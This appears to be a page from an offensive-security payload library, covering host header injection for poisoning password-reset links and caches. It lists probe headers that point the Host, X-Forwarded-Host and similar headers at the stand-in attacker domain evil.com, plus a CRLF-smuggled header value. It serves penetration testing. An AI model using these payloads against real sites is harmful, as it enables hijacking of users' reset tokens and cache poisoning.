Host Header Injection

Poison password-reset links and cache keys by overriding the Host the app trusts. Prime targets: reset emails, absolute URL generation, and unkeyed cache inputs.

Tags: host-header, password-reset, cache

Controlled probes

```
Host: evil.com
```
```
X-Forwarded-Host: evil.com
```
```
X-Forwarded-Server: evil.com
```
```
X-Host: evil.com
```

Host: target.com\r\nX-Forwarded-Host: evil.com

Source: https://portswigger.net/web-security/host-header

`/`	Focus search on this page
`Ctrl` `K`	Search everything (command palette)
`1`-`9`	Library, Generator, Playbooks, Gadgets, Checklists, Payloads, Bypasses, Utilities, Reports
`0`	AI / MCP connector
`j` / `k`	Move selection down / up
`Enter`	Expand / open selected
`c`	Copy primary command of selected
`f`	Toggle favorite on selected tool
`Esc`	Clear search / close

Host Header Injection

Controlled probes

Keyboard shortcuts